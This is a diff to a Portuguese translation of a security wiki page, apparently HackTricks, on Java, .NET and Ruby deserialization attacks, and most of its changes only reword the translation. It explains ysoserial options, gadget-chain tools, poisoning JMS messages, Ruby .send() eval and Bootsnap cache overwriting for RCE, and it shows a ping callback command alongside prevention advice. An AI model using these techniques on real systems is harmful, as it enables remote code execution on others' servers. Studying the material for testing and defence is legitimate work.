-Se você quer **aprender como funciona um exploit de Deserialização em Java**, você deve dar uma olhada em [**Deserialização Básica em Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialização DNS em Java**](java-dns-deserialization-and-gadgetprobe.md) e [**Payload CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
+Se você quiser **aprender como funciona um exploit de Deserialização em Java**, deve dar uma olhada em [**Deserialização Básica em Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialização de DNS em Java**](java-dns-deserialization-and-gadgetprobe.md) e [**Payload CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).

 #### Teste de Caixa Branca

-Você pode verificar se há alguma aplicação instalada com vulnerabilidades conhecidas.
+Você pode verificar se há algum aplicativo instalado com vulnerabilidades conhecidas.
 ```bash
 find . -iname "*commons*collection*"
 grep -R InvokeTransformer .
@ -510,7 +508,7 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
 ```
 #### serialkillerbypassgadgets

-Você pode **usar** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **junto com ysoserial para criar mais exploits**. Mais informações sobre esta ferramenta nas **apresentações da palestra** onde a ferramenta foi apresentada: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
+Você pode **usar** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **junto com ysoserial para criar mais exploits**. Mais informações sobre esta ferramenta estão nos **slides da palestra** onde a ferramenta foi apresentada: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)

 #### marshalsec

@ -548,11 +546,11 @@ Leia mais sobre esta biblioteca Java JSON: [https://www.alphabot.com/security/bl

 Java usa muita serialização para vários propósitos, como:

- **HTTP requests**: A serialização é amplamente empregada na gestão de parâmetros, ViewState, cookies, etc.
+- **Requisições HTTP**: A serialização é amplamente empregada na gestão de parâmetros, ViewState, cookies, etc.
 - **RMI (Remote Method Invocation)**: O protocolo RMI do Java, que depende inteiramente da serialização, é uma pedra angular para comunicação remota em aplicações Java.
- **RMI over HTTP**: Este método é comumente usado por aplicações web de cliente grosso baseadas em Java, utilizando serialização para todas as comunicações de objetos.
+- **RMI sobre HTTP**: Este método é comumente usado por aplicações web de cliente grosso baseadas em Java, utilizando serialização para todas as comunicações de objetos.
 - **JMX (Java Management Extensions)**: O JMX utiliza serialização para transmitir objetos pela rede.
- **Custom Protocols**: Em Java, a prática padrão envolve a transmissão de objetos Java brutos, que serão demonstrados em exemplos de exploração futuros.
+- **Protocolos Personalizados**: Em Java, a prática padrão envolve a transmissão de objetos Java brutos, que serão demonstrados em exemplos de exploração futuros.

 ### Prevention

@ -565,7 +563,7 @@ public class myAccount implements Serializable
 private transient double profit; // declared transient
 private transient double margin; // declared transient
 ```
-#### Evite a serialização de uma classe que precisa implementar Serializable
+#### Evite a Serialização de uma classe que precisa implementar Serializable

 Em cenários onde certos **objetos devem implementar a interface `Serializable`** devido à hierarquia de classes, há um risco de desserialização não intencional. Para evitar isso, garanta que esses objetos sejam não desserializáveis definindo um método `readObject()` `final` que sempre lança uma exceção, conforme mostrado abaixo:
 ```java
@ -601,7 +599,7 @@ return super.resolveClass(desc);
 }
 }
 ```
-**Usando um Agente Java para Aumento de Segurança** oferece uma solução alternativa quando a modificação de código não é possível. Este método se aplica principalmente para **colocar em lista negra classes prejudiciais**, usando um parâmetro JVM:
+**Usando um Agente Java para Aumento de Segurança** oferece uma solução alternativa quando a modificação de código não é possível. Este método se aplica principalmente para **listar classes prejudiciais**, usando um parâmetro JVM:
 ```
 -javaagent:name-of-agent.jar
 ```
@ -640,7 +638,8 @@ ObjectInputFilter.Config.setSerialFilter(filter);
 - [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
 - [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
 - [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
- Desserializações CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
+- Java e .Net desserialização **artigo:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** palestra: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
+- CVEs de desserializações: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)

 ## Injeção JNDI & log4Shell

@ -664,7 +663,7 @@ Existem vários produtos que usam esse middleware para enviar mensagens:

 ### Exploração

-Então, basicamente, há um **monte de serviços usando JMS de maneira perigosa**. Portanto, se você tiver **privilégios suficientes** para enviar mensagens para esses serviços (geralmente você precisará de credenciais válidas), poderá enviar **objetos maliciosos serializados que serão desserializados pelo consumidor/assinante**.\
+Então, basicamente, há um **monte de serviços usando JMS de uma maneira perigosa**. Portanto, se você tiver **privilégios suficientes** para enviar mensagens para esses serviços (geralmente você precisará de credenciais válidas), poderá enviar **objetos maliciosos serializados que serão desserializados pelo consumidor/assinante**.\
 Isso significa que, nesta exploração, todos os **clientes que vão usar essa mensagem serão infectados**.

 Você deve lembrar que, mesmo que um serviço seja vulnerável (porque está desserializando de forma insegura a entrada do usuário), você ainda precisa encontrar gadgets válidos para explorar a vulnerabilidade.
@ -673,7 +672,7 @@ A ferramenta [JMET](https://github.com/matthiaskaiser/jmet) foi criada para **co

 ### Referências

- [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
+- [Patchstack advisory – Everest Forms injeção de objeto PHP não autenticada (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)

 - Palestra JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
 - Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
@ -707,14 +706,14 @@ As principais opções do **ysoserial.net** são: **`--gadget`**, **`--formatter

 - **`--gadget`** usado para indicar o gadget a ser abusado (indicar a classe/função que será abusada durante a desserialização para executar comandos).
 - **`--formatter`**, usado para indicar o método para serializar o exploit (você precisa saber qual biblioteca está usando o back-end para desserializar a carga e usar a mesma para serializá-la)
- **`--output`** usado para indicar se você deseja o exploit em **raw** ou **base64** codificado. _Note que **ysoserial.net** irá **codificar** a carga usando **UTF-16LE** (codificação usada por padrão no Windows), então se você pegar o raw e apenas codificá-lo a partir de um console linux, pode ter alguns **problemas de compatibilidade de codificação** que impedirão o exploit de funcionar corretamente (no HTB JSON box a carga funcionou tanto em UTF-16LE quanto em ASCII, mas isso não significa que sempre funcionará)._
+- **`--output`** usado para indicar se você deseja o exploit em **raw** ou **base64** codificado. _Note que **ysoserial.net** irá **codificar** a carga usando **UTF-16LE** (codificação usada por padrão no Windows), então se você pegar o raw e apenas codificá-lo a partir de um console linux, pode ter alguns **problemas de compatibilidade de codificação** que impedirão o exploit de funcionar corretamente (na caixa JSON do HTB, a carga funcionou tanto em UTF-16LE quanto em ASCII, mas isso não significa que sempre funcionará)._
 - **`--plugin`** ysoserial.net suporta plugins para criar **exploits para frameworks específicos** como ViewState

 #### Mais parâmetros do ysoserial.net

 - `--minify` fornecerá uma **carga menor** (se possível)
 - `--raf -f Json.Net -c "anything"` Isso indicará todos os gadgets que podem ser usados com um formatter fornecido (`Json.Net` neste caso)
- `--sf xml` você pode **indicar um gadget** (`-g`) e ysoserial.net irá procurar por formatters contendo "xml" (sem distinção entre maiúsculas e minúsculas)
+- `--sf xml` você pode **indicar um gadget** (`-g`) e ysoserial.net irá procurar por formatters contendo "xml" (case insensitive)

 **Exemplos de ysoserial** para criar exploits:
 ```bash
@ -762,7 +761,7 @@ return obj;
 }
 ```
 No **código anterior é vulnerável ao exploit criado**. Portanto, se você encontrar algo semelhante em uma aplicação .Net, isso significa que provavelmente essa aplicação também é vulnerável.\
-Assim, o **`--test`** permite que entendamos **quais partes do código são vulneráveis** ao exploit de deserialização que **ysoserial.net** pode criar.
+Assim, o **`--test`** permite entender **quais partes do código são vulneráveis** ao exploit de deserialização que **ysoserial.net** pode criar.

 ### ViewState

@ -775,7 +774,7 @@ Para mitigar os riscos associados à deserialização em .Net:
 - **Evite permitir que fluxos de dados definam seus tipos de objeto.** Utilize `DataContractSerializer` ou `XmlSerializer` sempre que possível.
 - **Para `JSON.Net`, defina `TypeNameHandling` como `None`:** `TypeNameHandling = TypeNameHandling.None`
 - **Evite usar `JavaScriptSerializer` com um `JavaScriptTypeResolver`.**
- **Limite os tipos que podem ser deserializados**, entendendo os riscos inerentes aos tipos .Net, como `System.IO.FileInfo`, que pode modificar as propriedades dos arquivos do servidor, potencialmente levando a ataques de negação de serviço.
+- **Limite os tipos que podem ser deserializados**, entendendo os riscos inerentes aos tipos .Net, como `System.IO.FileInfo`, que pode modificar as propriedades de arquivos do servidor, potencialmente levando a ataques de negação de serviço.
 - **Tenha cautela com tipos que possuem propriedades arriscadas**, como `System.ComponentModel.DataAnnotations.ValidationException` com sua propriedade `Value`, que pode ser explorada.
 - **Controle a instância de tipos de forma segura** para evitar que atacantes influenciem o processo de deserialização, tornando até mesmo `DataContractSerializer` ou `XmlSerializer` vulneráveis.
 - **Implemente controles de lista branca** usando um `SerializationBinder` personalizado para `BinaryFormatter` e `JSON.Net`.
@ -875,7 +874,7 @@ Outra cadeia de RCE para explorar Ruby On Rails: [https://codeclimate.com/blog/r

 ### Método Ruby .send()

-Como explicado em [**este relatório de vulnerabilidade**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se alguma entrada não sanitizada de usuário alcançar o método `.send()` de um objeto ruby, esse método permite **invocar qualquer outro método** do objeto com quaisquer parâmetros.
+Como explicado em [**este relatório de vulnerabilidade**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se alguma entrada de usuário não sanitizada alcançar o método `.send()` de um objeto ruby, esse método permite **invocar qualquer outro método** do objeto com quaisquer parâmetros.

 Por exemplo, chamar eval e então código ruby como segundo parâmetro permitirá executar código arbitrário:
 ```ruby
@ -980,15 +979,15 @@ Além disso, foi descoberto que com a técnica anterior uma pasta também é cri
 ```
 Verifique mais detalhes na [**postagem original**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).

-### Cache do Bootstrap
+### Cache de Bootstrap

-Não é realmente uma vulnerabilidade de desserialização, mas um truque interessante para abusar do cache do bootstrap para obter RCE de uma aplicação Rails com uma gravação de arquivo arbitrária (encontre a [postagem original completa aqui](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
+Não é realmente uma vulnerabilidade de deserialização, mas um truque interessante para abusar do cache de bootstrap para obter RCE de uma aplicação Rails com uma gravação de arquivo arbitrária (encontre a [postagem original completa aqui](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).

 Abaixo está um resumo curto dos passos detalhados no artigo para explorar uma vulnerabilidade de gravação de arquivo arbitrária abusando do cache do Bootsnap:

 - Identificar a Vulnerabilidade e o Ambiente

-A funcionalidade de upload de arquivos da aplicação Rails permite que um atacante grave arquivos de forma arbitrária. Embora a aplicação funcione com restrições (apenas certos diretórios como tmp são graváveis devido ao usuário não-root do Docker), isso ainda permite a gravação no diretório de cache do Bootsnap (normalmente sob tmp/cache/bootsnap).
+A funcionalidade de upload de arquivos da aplicação Rails permite que um atacante grave arquivos arbitrariamente. Embora a aplicação funcione com restrições (apenas certos diretórios como tmp são graváveis devido ao usuário não-root do Docker), isso ainda permite a gravação no diretório de cache do Bootsnap (tipicamente sob tmp/cache/bootsnap).

 - Entender o Mecanismo de Cache do Bootsnap

@ -1013,7 +1012,7 @@ O atacante prepara um payload que:
 Esse payload é compilado em código Ruby binário e concatenado com um cabeçalho de chave de cache cuidadosamente construído (usando os metadados coletados anteriormente e o número da versão correto para o Bootsnap).

 - Sobrescrever e Acionar Execução
-Usando a vulnerabilidade de gravação de arquivo arbitrária, o atacante grava o arquivo de cache criado na localização calculada. Em seguida, eles acionam uma reinicialização do servidor (escrevendo em tmp/restart.txt, que é monitorado pelo Puma). Durante a reinicialização, quando o Rails requer o arquivo alvo, o arquivo de cache malicioso é carregado, resultando em execução remota de código (RCE).
+Usando a vulnerabilidade de gravação de arquivo arbitrária, o atacante grava o arquivo de cache elaborado na localização calculada. Em seguida, eles acionam uma reinicialização do servidor (escrevendo em tmp/restart.txt, que é monitorado pelo Puma). Durante a reinicialização, quando o Rails requer o arquivo alvo, o arquivo de cache malicioso é carregado, resultando em execução remota de código (RCE).

 ### Exploração do Ruby Marshal na prática (atualizado)

@ -1044,7 +1043,7 @@ Onde aparece em aplicativos reais:
 - Qualquer persistência ou transporte personalizado de blobs de objetos binários

 Descoberta industrializada de gadgets:
- Grep por construtores, `hash`, `_load`, `init_with`, ou métodos com efeitos colaterais invocados durante o desmarshalling
+- Grep por construtores, `hash`, `_load`, `init_with` ou métodos com efeitos colaterais invocados durante o desmarshalling
 - Use as consultas de deserialização insegura do CodeQL para Ruby para rastrear fontes → sumidouros e descobrir gadgets
 - Valide com PoCs públicas de múltiplos formatos (JSON/XML/YAML/Marshal)